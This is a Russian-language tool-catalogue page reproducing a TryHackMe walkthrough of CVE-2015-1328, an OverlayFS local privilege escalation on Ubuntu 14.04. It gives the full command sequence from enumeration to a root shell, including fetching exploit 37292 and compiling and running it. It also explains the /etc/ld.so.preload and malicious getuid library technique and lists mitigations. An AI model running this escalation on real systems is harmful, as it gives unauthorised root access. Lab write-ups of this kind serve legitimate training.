Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2015-1328 — Пошаговое руководство по эксплуатации CVE-2015-1328 (OverlayFS) для повышения привилегий от пользователя с низкими привилегиями до root на Ubuntu 14.04. Включает перечисление, компиляцию эксплойта и его выполнение. | Kitploit
Инструменты/GitHubGitHub/fernandocassiodev/cve-2015-1328
Повышение привилегийЭксплуатацияCTFОбучение и ОбразованиеЭксплуатация Бинарных ФайловЛаборатории и Практика
GitHubfernandocassiodev/cve-2015-1328

CVE-2015-1328

Пошаговое руководство по эксплуатации CVE-2015-1328 (OverlayFS) для повышения привилегий от пользователя с низкими привилегиями до root на Ubuntu 14.04. Включает перечисление, компиляцию эксплойта и его выполнение.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
21 месяц назадЕщё не проверено

CVE-2015-1328

Прохождение TryHackMe — повышение привилегий в ядре Linux (CVE-2015-1328)

Цель

Цель этого прохождения — повысить привилегии от пользователя с низким уровнем доступа (karen) до root путём эксплуатации уязвимого ядра Linux.


Шаг 1 — Первичная разведка

После подключения к целевой машине по SSH:

root@kitploit:~
ssh karen@<target-ip>

Я определил версию ядра Linux:

root@kitploit:~
uname -r

Вывод:

root@kitploit:~
3.13.0-24-generic

Машина работала под управлением Ubuntu 14.04 с ядром 3.13.0-24-generic.


Шаг 2 — Поиск уязвимостей ядра

Поскольку повышение привилегий в Linux часто опирается на уязвимые ядра, я выполнил поиск по Exploit-DB с помощью SearchSploit:

root@kitploit:~
searchsploit overlayfs ubuntu 3.13

Результат:

root@kitploit:~
Linux Kernel 3.13.0 < 3.19 (Ubuntu...) - overlayfs Local Privilege Escalation
37292.c

Этот эксплойт нацелен на CVE-2015-1328, которая затрагивает ядра Ubuntu до выхода исправленных версий.


Шаг 3 — Понимание уязвимости

Прежде чем запускать какой-либо эксплойт, важно понимать, что он делает.

Эксплойт использует ошибку в OverlayFS — объединённой файловой системе Linux.

Уязвимость существует потому, что OverlayFS некорректно обрабатывает права доступа к файлам при монтировании внутри пространства имён пользователя (CLONE_NEWUSER).

Непривилегированный пользователь может манипулировать OverlayFS, чтобы создавать или изменять файлы, которые должны быть доступны для записи только root.

В конечном счёте эксплойт записывает данные в:

root@kitploit:~
/etc/ld.so.preload

Этот файл указывает динамическому загрузчику Linux загружать разделяемую библиотеку перед каждым динамически компонуемым исполняемым файлом.

Принуждая систему загрузить вредоносную разделяемую библиотеку, эксплойт получает возможность выполнять код с правами root.


Шаг 4 — Получение эксплойта

С помощью SearchSploit:

root@kitploit:~
searchsploit -m 37292

Эта команда скопировала эксплойт локально:

root@kitploit:~
37292.c

Затем эксплойт был передан на машину-жертву.

В этом прохождении он был сохранён как:

root@kitploit:~
/tmp/ofs.c

Шаг 5 — Компиляция эксплойта

Перейдите в каталог, содержащий эксплойт:

root@kitploit:~
cd /tmp

Скомпилируйте его с помощью GCC:

root@kitploit:~
gcc ofs.c -o ofs

Если компиляция прошла успешно, GCC не выводит никаких сообщений.

Убедитесь, что исполняемый файл существует:

root@kitploit:~
ls -l

Ожидаемый результат:

root@kitploit:~
-rwxr-xr-x ... ofs

Шаг 6 — Запуск эксплойта

Запустите исполняемый файл:

root@kitploit:~
./ofs

Эксплойт выводит сообщения, похожие на следующие:

root@kitploit:~
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library

В конце он запускает оболочку root:

root@kitploit:~
#

Проверьте привилегии:

root@kitploit:~
id

Вывод:

root@kitploit:~
uid=0(root) gid=0(root)

Шаг 7 — Получение флага

Получив привилегии root:

root@kitploit:~
cat /home/matt/flag1.txt

Теперь файл можно было успешно прочитать.


Как работает эксплойт

Эксплойт внутренне выполняет несколько действий.

1. Создание пространства имён пользователя

root@kitploit:~
unshare(CLONE_NEWUSER);

Пространства имён пользователя Linux позволяют непривилегированному процессу выглядеть как root внутри пространства имён, не обладая правами root на хосте.

Эта возможность необходима для атаки.


2. Создание пространства имён монтирования

root@kitploit:~
clone(... CLONE_NEWNS ...)

Отдельное пространство имён монтирования изолирует изменения файловой системы от остальной операционной системы.

Это позволяет эксплойту монтировать OverlayFS, не затрагивая глобальную файловую систему.


3. Монтирование OverlayFS

Эксплойт создаёт временные каталоги:

root@kitploit:~
/tmp/ns_sploit/
├── upper/
├── work/
└── o/

Затем он монтирует OverlayFS:

root@kitploit:~
Lower Layer
      │
      ▼
OverlayFS
      │
      ▼
Upper Layer

Из-за уязвимости ядра OverlayFS некорректно разрешает операции, которые должны требовать прав root.


4. Создание /etc/ld.so.preload

Эксплойт переименовывает доступный для записи файл внутри точки монтирования OverlayFS в:

root@kitploit:~
ld.so.preload

После повторного монтирования OverlayFS поверх /etc этот файл становится:

root@kitploit:~
/etc/ld.so.preload

В обычных условиях создавать этот файл может только root.


5. Сборка вредоносной разделяемой библиотеки

Эксплойт записывает исходный файл на C:

root@kitploit:~
/tmp/ofs-lib.c

Затем компилирует его:

root@kitploit:~
gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c

Полученная разделяемая библиотека переопределяет функцию getuid().


6. Перехват динамического компоновщика

Эксплойт записывает:

root@kitploit:~
/tmp/ofs-lib.so

в:

root@kitploit:~
/etc/ld.so.preload

Теперь каждый динамически компонуемый исполняемый файл загружает эту вредоносную библиотеку перед любой системной библиотекой.


7. Запуск /bin/su

Наконец:

root@kitploit:~
execl("/bin/su", "su", NULL);

Когда запускается su, вместо оригинальной выполняется вредоносная функция getuid().

Библиотека:

  • удаляет /etc/ld.so.preload
  • удаляет вредоносную разделяемую библиотеку
  • вызывает:
root@kitploit:~
setresuid(0,0,0);
setresgid(0,0,0);
  • запускает:
root@kitploit:~
/bin/sh

В результате получается интерактивная оболочка root.


Почему это работает

Уязвимость вызвана некорректной обработкой прав доступа в OverlayFS при использовании внутри пространств имён пользователя.

Непривилегированный пользователь может манипулировать OverlayFS, чтобы создавать привилегированные файлы, например:

root@kitploit:~
/etc/ld.so.preload

Поскольку динамический загрузчик доверяет этому файлу, произвольный код выполняется с правами root.


Меры по устранению уязвимости

Эта уязвимость была устранена в обновлённых выпусках ядра Ubuntu.

Стратегии защиты включают:

  • Обновление ядра Linux до исправленной версии.
  • Отключение непривилегированных пространств имён пользователя, если они не требуются.
  • Ограничение использования OverlayFS.
  • Регулярное применение обновлений безопасности.
  • Мониторинг несанкционированных изменений:
    • /etc/ld.so.preload
    • /etc/ld.so.cache

Основные выводы

  • Всегда определяйте версию ядра при повышении привилегий в Linux.
  • Проверяйте, уязвима ли версия ядра, прежде чем предпринимать попытки эксплуатации.
  • Читайте и понимайте код эксплойта, прежде чем запускать его.
  • Эксплойты ядра могут напрямую привести к получению прав root, но также могут вызвать сбой целевой системы.
  • В реальных тестах на проникновение эксплуатацию ядра следует предпринимать только при наличии явного разрешения, поскольку она может повлиять на стабильность системы.

Использованные команды

root@kitploit:~
# Enumerate kernel version
uname -r

# Search for exploit
searchsploit overlayfs ubuntu 3.13

# Copy exploit locally
searchsploit -m 37292

# Compile exploit
gcc ofs.c -o ofs

# Execute exploit
./ofs

# Verify privileges
id

# Read flag
cat /home/matt/flag1.txt
Скачать инструмент